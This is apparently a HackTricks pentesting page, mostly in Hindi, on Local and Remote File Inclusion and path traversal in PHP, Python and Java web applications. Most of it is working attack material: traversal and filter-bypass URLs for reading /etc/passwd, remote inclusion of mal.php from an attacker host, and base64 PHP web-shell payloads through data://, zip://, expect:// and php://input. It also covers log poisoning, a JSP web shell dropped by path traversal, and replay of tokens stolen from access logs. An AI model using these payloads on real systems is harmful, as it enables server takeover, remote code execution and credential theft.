File Inclusion/Path traversal

Reading time: 33 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

File Inclusion

Remote File Inclusion (RFI): फ़ाइल किसी दूरस्थ सर्वर से लोड की जाती है (सबसे अच्छा: आप कोड लिख सकते हैं और सर्वर उसे निष्पादित करेगा). In php यह disabled by default (allow_url_include).
Local File Inclusion (LFI): सर्वर एक स्थानीय फ़ाइल लोड करता है.

यह vulnerability तब होती है जब उपयोगकर्ता किसी न किसी तरह उस फ़ाइल को नियंत्रित कर सकता है जिसे सर्वर लोड करने वाला है.

प्रभावित PHP functions: require, require_once, include, include_once

इस vulnerability को exploit करने के लिए एक उपयोगी टूल: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

*कई nix LFI सूचियों को मिलाकर और अधिक paths जोड़कर मैंने यह तैयार किया है:

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt

इसके अलावा / को \ से बदलकर भी कोशिश करें
इसके अलावा ../../../../../ जोड़कर भी कोशिश करें

कई तकनीकों का उपयोग करके /etc/password फाइल (यह जाँचने के लिए कि vulnerability मौजूद है) खोजने वाली एक सूची यहाँ मिल सकती है

Windows

विभिन्न wordlists का मर्ज:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

इसके अलावा / को \ से बदलकर भी कोशिश करें
इसके अलावा C:/ को हटाकर ../../../../../ जोड़कर भी कोशिश करें

कई तकनीकों का उपयोग करके /boot.ini फाइल (यह जाँचने के लिए कि vulnerability मौजूद है) खोजने वाली एक सूची यहाँ मिल सकती है

OS X

Linux की LFI सूची देखें।

बुनियादी LFI और bypasses

सभी उदाहरण Local File Inclusion के लिए हैं लेकिन Remote File Inclusion पर भी लागू हो सकते हैं (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences को गैर-रिकर्सिव तरीके से हटा दिया गया

python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

प्रदान किए गए string के अंत में अतिरिक्त कैरेक्टर्स जोड़ दिए जाने को बायपास करें (bypass of: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

यह PHP 5.4 से हल हो चुका है

एन्कोडिंग

आप गैर-मानक एन्कोडिंग्स जैसे double URL encode (और अन्य) का उपयोग कर सकते हैं:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

मौजूद फ़ोल्डर से

शायद back-end folder path की जाँच कर रहा है:

python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

सर्वर पर फ़ाइल सिस्टम डायरेक्टरीज़ का अन्वेषण

किसी सर्वर के फ़ाइल सिस्टम को कुछ तकनीकों का उपयोग करके recursive रूप से एक्सप्लोर किया जा सकता है ताकि सिर्फ files ही नहीं बल्कि directories भी पहचानी जा सकें। यह प्रक्रिया directory की गहराई निर्धारित करने और विशिष्ट फ़ोल्डरों के अस्तित्व की जांच करने पर आधारित है। नीचे इसे पाने की एक विस्तृत विधि दी गई है:

  1. Determine Directory Depth: अपने वर्तमान डायरेक्टरी की गहराई का निर्धारण करें — इसके लिए /etc/passwd फ़ाइल को सफलतापूर्वक प्राप्त करना उपयोगी होता है (यदि सर्वर Linux-based हो तो लागू)। एक उदाहरण URL निम्नानुसार संरचित हो सकता है, जो तीन की depth को दर्शाता है:
bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. फ़ोल्डरों की जाँच करें: URL में संदेही फ़ोल्डर का नाम (उदा., private) जोड़ें, फिर /etc/passwd पर वापस जाएँ। अतिरिक्त डायरेक्टरी स्तर के कारण depth को एक से बढ़ाना होगा:
bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. परिणामों की व्याख्या: सर्वर की प्रतिक्रिया यह बताती है कि फोल्डर मौजूद है या नहीं:
  • Error / No Output: निर्दिष्ट स्थान पर private फोल्डर संभवतः मौजूद नहीं है।
  • Contents of /etc/passwd: private फोल्डर की उपस्थिति की पुष्टि होती है।
  1. पुनरावर्ती अन्वेषण: खोजे गए फोल्डरों की उप-निर्देशिकाओं या फ़ाइलों के लिए उसी तकनीक या पारंपरिक Local File Inclusion (LFI) विधियों का उपयोग करके आगे जाँच की जा सकती है।

फ़ाइल सिस्टम में विभिन्न स्थानों पर निर्देशिकाओं का अन्वेषण करने के लिए, payload को उसी के अनुसार समायोजित करें। उदाहरण के लिए, यह जांचने के लिए कि /var/www/ में private निर्देशिका है या नहीं (मान लें कि वर्तमान निर्देशिका की गहराई 3 है), उपयोग करें:

bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation एक ऐसी विधि है जिसका उपयोग वेब अनुप्रयोगों में फ़ाइल पथों को बदलने के लिए किया जाता है। इसे अक्सर उन प्रतिबंधित फ़ाइलों तक पहुँचने के लिए प्रयोग किया जाता है जिन्हें रोकने के लिए कुछ सुरक्षा उपाय फ़ाइल पथों के अंत में अतिरिक्त अक्षर जोड़ते हैं। उद्देश्य ऐसा फ़ाइल पथ बनाना है जो सुरक्षा उपाय द्वारा बदलने पर भी इच्छित फ़ाइल की ओर इशारा करे।

In PHP, फ़ाइल पथ के विभिन्न प्रतिनिधित्व फ़ाइल सिस्टम की प्रकृति के कारण समकक्ष माने जा सकते हैं। उदाहरण के लिए:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ सभी को एक ही पथ माना जाता है।
  • जब अंतिम 6 अक्षर passwd होते हैं, तो अंत में / जोड़ना (जिससे यह passwd/ बन जाता है) लक्षित फ़ाइल को बदलता नहीं है।
  • इसी तरह, यदि किसी फ़ाइल पथ में .php जोड़ा जाता है (जैसे shellcode.php), तो अंत में /. जोड़ने से एक्सेस की जा रही फ़ाइल बदलती नहीं है।

नीचे दिए गए उदाहरण दिखाते हैं कि /etc/passwd तक पहुँचने के लिए path truncation का उपयोग कैसे किया जा सकता है, जो अपनी संवेदनशील सामग्री (उपयोगकर्ता खाता जानकारी) के कारण एक सामान्य लक्ष्य है:

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

इन परिदृश्यों में आवश्यक traversals की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर की कॉन्फ़िगरेशन के आधार पर बदल सकती है।

  • Using Dot Segments and Additional Characters: Traversal sequences (../) को अतिरिक्त dot segments और अक्षरों के साथ मिलाकर फाइल सिस्टम में नेविगेट करने के लिए उपयोग किया जा सकता है, जिससे सर्वर द्वारा जोड़ी गई appended strings को प्रभावी रूप से नज़रअंदाज किया जा सके।
  • Determining the Required Number of Traversals: trial and error के माध्यम से यह निर्धारित किया जा सकता है कि root directory तक और फिर /etc/passwd तक पहुंचने के लिए कितनी ../ sequences की आवश्यकता है, यह सुनिश्चित करते हुए कि किसी भी appended string (जैसे .php) को neutralize किया गया है लेकिन इच्छित path (/etc/passwd) बरकरार रहे।
  • Starting with a Fake Directory: आम प्रैक्टिस यह है कि path की शुरुआत एक non-existent directory (जैसे a/) से की जाए। यह तकनीक सावधानी के तौर पर या सर्वर की path parsing लॉजिक की आवश्यकताओं को पूरा करने के लिए उपयोग की जाती है।

जब आप path truncation techniques का उपयोग कर रहे होते हैं, तो सर्वर के path parsing व्यवहार और filesystem संरचना को समझना महत्वपूर्ण होता है। हर परिदृश्य के लिए अलग दृष्टिकोण की आवश्यकता हो सकती है, और सबसे प्रभावी विधि खोजने के लिए परीक्षण अक्सर आवश्यक होता है।

This vulnerability was corrected in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

php में यह डिफ़ॉल्ट रूप से निष्क्रिय है क्योंकि allow_url_include Off. है। इसे काम करने के लिए On होना चाहिए, और उस स्थिति में आप अपने सर्वर से एक PHP फ़ाइल include करके RCE प्राप्त कर सकते हैं:

python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

यदि किसी कारणवश allow_url_include On है, लेकिन PHP बाहरी वेबपेजेस तक पहुँच को filtering कर रहा है, according to this post, आप उदाहरण के लिए data protocol के साथ base64 का उपयोग कर सकते हैं ताकि b64 PHP code को decode करके egt RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

tip

पिछले कोड में, अंतिम +.txt इसलिए जोड़ा गया था क्योंकि attacker को एक string चाहिए थी जो .txt पर समाप्त होती हो, इसलिए string उसी के साथ समाप्त होती है और b64 decode के बाद वह हिस्सा बस junk लौटाएगा और असली PHP code शामिल होगा (और इसलिए, निष्पादित होगा)।

एक अन्य उदाहरण जो php:// प्रोटोकॉल का उपयोग नहीं कर रहा है होगा:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Root element

Python में, इस तरह के कोड में:

python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

यदि उपयोगकर्ता absolute path को file_name में पास करता है, तो previous path is just removed:

python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

यह the docs के अनुसार इच्छित व्यवहार है:

यदि कोई घटक एक absolute path है, तो पिछले सभी घटक हटा दिए जाते हैं और जोड़ना absolute path घटक से जारी रहता है।

Java डायरेक्टरी सूची

ऐसा लगता है कि यदि आपके पास Java में Path Traversal है और आप फ़ाइल की बजाय डायरेक्टरी का अनुरोध करते हैं, तो डायरेक्टरी की लिस्टिंग लौटती है। यह अन्य भाषाओं में नहीं होगा (मेरी जानकारी के अनुसार)।

शीर्ष 25 पैरामीटर

यहाँ उन शीर्ष 25 पैरामीटरों की सूची है जो local file inclusion (LFI) संवेदनशीलताएँ के लिए संवेदनशील हो सकते हैं (from link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI का उपयोग करते हुए PHP wrappers और protocols

php://filter

PHP filters पढ़ने या लिखने से पहले डेटा पर बुनियादी संशोधन ऑपरेशन्स करने की अनुमति देते हैं। फिल्टर के 5 श्रेणियाँ हैं:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: डेटा से टैग हटाता है ("<" और ">" अक्षरों के बीच की हर चीज)
  • Note that this filter has disappear from the modern versions of PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : एक अलग encoding में परिवर्तित करता है (convert.iconv.<input_enc>.<output_enc>). समर्थित सभी encodings की सूची पाने के लिए कंसोल में चलाएँ: iconv -l

warning

Abusing the convert.iconv.* conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: सामग्री को compress करता है (useful if exfiltrating a lot of info)
  • zlib.inflate: डेटा को decompress करता है
  • Encryption Filters
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • Other Filters
  • PHP में var_dump(stream_get_filters()); चलाने पर आप कुछ अनपेक्षित filters पा सकते हैं:
  • consumed
  • dechunk: HTTP chunked encoding को रिवर्स करता है
  • convert.*
php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

warning

भाग "php://filter" कैपिटलाइज़ेशन के प्रति असंवेदनशील है

Using php filters as oracle to read arbitrary files

In this post में एक तकनीक बताई गई है जिससे सर्वर से आउटपुट वापस न मिलने पर भी स्थानीय फ़ाइल को पढ़ा जा सकता है। यह तकनीक php filters का उपयोग करके फ़ाइल की एक boolean exfiltration (char by char) पर आधारित है, क्योंकि php filters का इस्तेमाल टेक्स्ट को इतना बड़ा करने के लिए किया जा सकता है कि php एक exception फेंक दे।

Original post में तकनीक की विस्तृत व्याख्या मिलती है, लेकिन यहाँ एक संक्षिप्त सारांश है:

  • codec UCS-4LE का उपयोग करें ताकि टेक्स्ट का leading character शुरुआत में रह जाए और string का आकार घातांक रूप से बढ़े।
  • इसका उपयोग एक ऐसे टेक्स्ट को जेनरेट करने के लिए होगा जो इतना बड़ा हो जाए जब शुरुआती अक्षर सही तरीके से अनुमान लगाया गया हो कि php एक error ट्रिगर कर देगा।
  • dechunk filter सब कुछ हटा देगा अगर पहला char hexadecimal नहीं है, इसलिए हम जान सकते हैं कि पहला char hex है या नहीं।
  • यह, पिछले वाले के साथ मिलकर (और अनुमानित अक्षर पर निर्भर अन्य filters के साथ), हमें टेक्स्ट के शुरुआत के एक अक्षर का अनुमान लगाने की अनुमति देगा यह देखकर कि कब हम पर्याप्त transformations करते हैं जिससे वह अब hexadecimal character ना रहे। क्योंकि अगर hex है तो dechunk उसे delete नहीं करेगा और initial bomb php error ट्रिगर कर देगा।
  • codec convert.iconv.UNICODE.CP930 हर अक्षर को अगले में बदल देता है (तो इस codec के बाद: a -> b)। यह हमें पता लगाने देता है कि पहला अक्षर उदाहरण के लिए a है क्योंकि यदि हम इस codec को 6 बार लागू करें: a->b->c->d->e->f->g तो वह अक्षर अब hexadecimal character नहीं रहेगा, इसलिए dechunk उसे delete नहीं करेगा और php error initial bomb के कारण ट्रिगर होगा।
  • शुरुआत में rot13 जैसी अन्य transformations का उपयोग करके n, o, p, q, r जैसे अन्य अक्षरों को भी leak किया जा सकता है (और अन्य codecs का उपयोग अन्य अक्षरों को hex रेंज में लाने के लिए किया जा सकता है)।
  • जब शुरुआती char एक number होता है तो उसे base64 encode करने और संख्या को leak करने के लिए पहले 2 अक्षरों को leak करना आवश्यक होता है।
  • अंतिम समस्या यह देखना है कि initial letter से अधिक डेटा कैसे leak किया जाए। order memory filters जैसे convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE का उपयोग करके chars के order को बदलकर टेक्स्ट के अन्य अक्षरों को पहली पोज़िशन में लाया जा सकता है।
  • और आगे डेटा प्राप्त करने के लिए तरीका यह है कि शुरुआत में convert.iconv.UTF16.UTF16 के साथ 2 bytes junk data जेनरेट करें, फिर UCS-4LE लागू करके इसे अगले 2 bytes के साथ pivot कराएँ, और junk data तक डाटा को delete करें (यह initial टेक्स्ट के पहले 2 bytes को हटा देगा)। इसे तब तक जारी रखें जब तक आप leak करने वाले इच्छित बिट तक नहीं पहुँचते।

Post में इसको ऑटोमेटिक रूप से करने के लिए एक tool भी शेयर किया गया था: php_filters_chain_oracle_exploit.

php://fd

यह wrapper उस प्रोसेस के खुले file descriptors तक पहुँचने की अनुमति देता है। खुले हुए files की सामग्री को exfiltrate करने के लिए यह संभावित रूप से उपयोगी हो सकता है:

php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

आप php://stdin, php://stdout and php://stderr का भी उपयोग करके क्रमशः file descriptors 0, 1 and 2 तक पहुँच सकते हैं (निश्चित नहीं कि यह किसी attack में कैसे उपयोगी हो सकता है)

zip:// and rar://

एक Zip या Rar फ़ाइल जिसमें PHPShell हो, अपलोड करें और इसे एक्सेस करें.
rar protocol का दुरुपयोग करने में सक्षम होने के लिए इसे विशेष रूप से सक्रिय किया जाना चाहिए.

bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

ध्यान दें कि यह प्रोटोकॉल php कॉन्फ़िगरेशन allow_url_open और allow_url_include द्वारा सीमित है

expect://

Expect को सक्रिय होना चाहिए। आप इसके माध्यम से कोड चला सकते हैं:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

POST parameters में अपना payload निर्दिष्ट करें:

bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

एक .phar फ़ाइल का उपयोग तब PHP कोड निष्पादित करने के लिए किया जा सकता है जब कोई वेब एप्लिकेशन फ़ाइल लोड करने के लिए include जैसे फ़ंक्शन्स का उपयोग करे। नीचे दिया गया PHP कोड स्निपेट .phar फ़ाइल बनाने का उदाहरण दिखाता है:

php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar फ़ाइल को संकलित करने के लिए, निम्नलिखित command चलाया जाना चाहिए:

bash
php --define phar.readonly=0 create_path.php

Upon execution, a file named test.phar will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.

In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), or filesize(), exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar protocol.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

यह संभव था कि any arbitrary file read from PHP that supports php filters का दुरुपयोग करके RCE हासिल किया जा सके। विस्तृत वर्णन found in this post.
बहुत संक्षेप में: PHP heap में एक 3 byte overflow का दुरुपयोग कर के किसी विशिष्ट आकार की free chunks की chain को alter किया गया ताकि किसी भी address में write anything in any address किया जा सके, इसलिए एक hook जो system कॉल करे जोड़ा गया।
अधिक php filters का दुरुपयोग करके specific sizes के chunks को alloc करना संभव था।

More protocols

Check more possible protocols to include here:

  • php://memory and php://temp — मेमोरी या अस्थायी फ़ाइल में लिखना (पता नहीं यह file inclusion attack में कैसे उपयोगी हो सकता है)
  • file:// — स्थानीय फ़ाइल सिस्टम तक पहुँच
  • http:// — HTTP(s) URLs तक पहुँच
  • ftp:// — FTP(s) URLs तक पहुँच
  • zlib:// — Compression Streams
  • glob:// — पैटर्न से मेल खाने वाले pathnames ढूँढना (यह कुछ भी printable नहीं लौटाता, इसलिए यहाँ खास उपयोगी नहीं है)
  • ssh2:// — Secure Shell 2
  • ogg:// — ऑडियो स्ट्रीम्स (arbitrary files पढ़ने के लिए उपयोगी नहीं)

LFI via PHP's 'assert'

PHP में Local File Inclusion (LFI) का जोखिम खासकर तब अधिक होता है जब 'assert' function से निपटा जा रहा हो, क्योंकि यह strings के भीतर code execute कर सकता है। यह विशेष रूप से समस्या तब होती है जब ".." जैसे directory traversal characters वाले input की जांच तो की जा रही हो पर उसे सही तरीके से sanitize नहीं किया जा रहा हो।

For example, PHP code might be designed to prevent directory traversal like so:

bash
assert("strpos('$file', '..') === false") or die("");

यद्यपि इसका उद्देश्य traversal को रोकना है, यह अनजाने में code injection के लिए एक वेक्टर बना देता है। फाइल की सामग्री पढ़ने के लिए इसका शोषण करने के लिए, attacker उपयोग कर सकता है:

plaintext
' and die(highlight_file('/etc/passwd')) or '

इसी तरह, मनमाने सिस्टम कमांड्स को निष्पादित करने के लिए, कोई निम्न का उपयोग कर सकता है:

plaintext
' and die(system("id")) or '

यह महत्वपूर्ण है कि इन payloads को URL-encode किया जाए।

PHP Blind Path Traversal

warning

यह technique उन मामलों में प्रासंगिक है जहाँ आप नियंत्रण करते हैं उस फ़ाइल पथ को किसी PHP function का जो एक फ़ाइल को access करेगा लेकिन आप फ़ाइल की सामग्री नहीं देख पाएँगे (जैसे सरल कॉल file()) और सामग्री दिखाई नहीं देती।

In यह शानदार पोस्ट में समझाया गया है कि कैसे एक blind path traversal को PHP filter के माध्यम से abuse करके फ़ाइल की सामग्री को एक error oracle के ज़रिये exfiltrate किया जा सकता है।

संक्षेप में, तकनीक में "UCS-4LE" encoding का उपयोग करके किसी फ़ाइल की सामग्री को इतना बड़ा बनाया जाता है कि फ़ाइल खोलने वाला PHP function एक error ट्रिगर कर दे।

फिर, पहले char को leak करने के लिए filter dechunk का उपयोग किया जाता है साथ ही अन्य filters जैसे base64 या rot13, और अंत में filters convert.iconv.UCS-4.UCS-4LE और convert.iconv.UTF16.UTF-16BE का उपयोग करके अन्य chars को शुरुआत में place किया जाता है और उन्हें leak किया जाता है।

संभावित रूप से कमजोर फ़ंक्शन: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

टेक्निकल विवरण के लिए ऊपर बताए गए पोस्ट को देखें!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

जब server-side कोड जो files ingest/upload करता है destination path को user-controlled डेटा (उदा., filename या URL) से बनाता है बिना canonicalising और validating किए, तो .. segments और absolute paths intended directory से बाहर निकलकर arbitrary file write कर सकते हैं। यदि आप payload को किसी web-exposed directory के अंदर रख सकते हैं, तो आम तौर पर webshell drop करके unauthenticated RCE प्राप्त कर लिया जाता है।

Typical exploitation workflow:

  • उस endpoint या background worker में एक write primitive पहचानें जो path/filename स्वीकार करता है और content को disk पर लिखता है (जैसे message-driven ingestion, XML/JSON command handlers, ZIP extractors, आदि)।
  • web-exposed directories निर्धारित करें। सामान्य उदाहरण:
    • Apache/PHP: /var/www/html/
    • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
    • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • ऐसा traversal path बनायें जो intended storage directory से बाहर निकल कर webroot में जा सके, और अपनी webshell सामग्री शामिल करें।
  • dropped payload पर ब्राउज़ करें और commands execute करें।

Notes:

  • वह vulnerable service जो write करता है, एक non-HTTP port पर सुन सकता है (उदा., TCP 4004 पर JMF XML listener). मुख्य web portal (different port) बाद में आपका payload serve करेगा।
  • Java stacks पर, ये file writes अक्सर simple File/Paths concatenation से implement होते हैं। canonicalisation/allow-listing की कमी मुख्य कमी है।

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Hardening that defeats this class of bugs:

  • पथ को canonical रूप में Resolve करें और लागू करें कि यह एक अनुमोदित (allow-listed) base directory का descendant है।
  • किसी भी पथ को अस्वीकार करें जिसमें .., absolute roots, या drive letters हों; generated filenames को प्राथमिकता दें।
  • writer को एक low-privileged account के रूप में चलाएँ और write directories को served roots से अलग रखें।

Remote File Inclusion

Explained previously, follow this link.

Via Apache/Nginx log file

If the Apache or Nginx server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log or /var/log/nginx/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and include that file

warning

ध्यान दें कि if you use double quotes for the shell instead of simple quotes, double quotes स्ट्रिंग "quote;" के लिए बदल दिए जाएँगे, वहाँ PHP will throw an error करेगा और कुछ भी execute नहीं होगा

साथ ही, सुनिश्चित करें कि आप write correctly the payload वरना PHP हर बार जब यह log file लोड करने की कोशिश करेगा error दे देगा और आपको दूसरी कोई opportunity नहीं मिलेगी।

This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation "basic" contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.
Other possible log paths:

python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Read access logs to harvest GET-based auth tokens (token replay)

कई ऐप्स गलती से session/auth tokens को GET के माध्यम से स्वीकार कर लेते हैं (उदा., AuthenticationToken, token, sid)। यदि आपके पास path traversal/LFI primitive के जरिए web server logs में पहुँच है, तो आप access logs से उन tokens को चुरा कर उन्हें replay करके authentication को पूरी तरह bypass कर सकते हैं।

How-to:

  • Traversal/LFI का उपयोग करके web server access log पढ़ें। सामान्य स्थान:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • कुछ endpoints file reads को Base64-encoded रूप में लौटाते हैं। यदि ऐसा है, तो इसे स्थानीय रूप से decode करें और log पंक्तियों का निरीक्षण करें।
  • Grep करके उन GET requests को खोजें जिनमें token parameter शामिल है और उसका मान capture करें, फिर उसे application entry point के खिलाफ replay करें।

Example flow (generic):

http
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

यदि बॉडी Base64 में है तो उसे डिकोड करें, फिर कैप्चर किए गए token को replay करें:

http
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Notes:

  • URLs में Tokens डिफ़ॉल्ट रूप से लॉग होते हैं; production systems में कभी भी bearer tokens को GET के जरिए स्वीकार न करें।
  • यदि ऐप multiple token names को सपोर्ट करता है, तो AuthenticationToken, token, sid, access_token जैसे common keys की तलाश करें।
  • उन किसी भी tokens को rotate करें जो logs में leak हो गए हों।

ईमेल के माध्यम से

Send a mail to a internal account (user@localhost) containing your PHP payload like <?php echo system($_REQUEST["cmd"]); ?> and try to include to the mail of the user with a path like /var/mail/<USERNAME> or /var/spool/mail/<USERNAME>

/proc/*/fd/* के माध्यम से

  1. बहुत सारी shells अपलोड करें (उदाहरण के लिए : 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)

/proc/self/environ के माध्यम से

लॉग फ़ाइल की तरह, payload को User-Agent में भेजें, यह /proc/self/environ फ़ाइल के अंदर reflected होगा।

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

अपलोड के जरिए

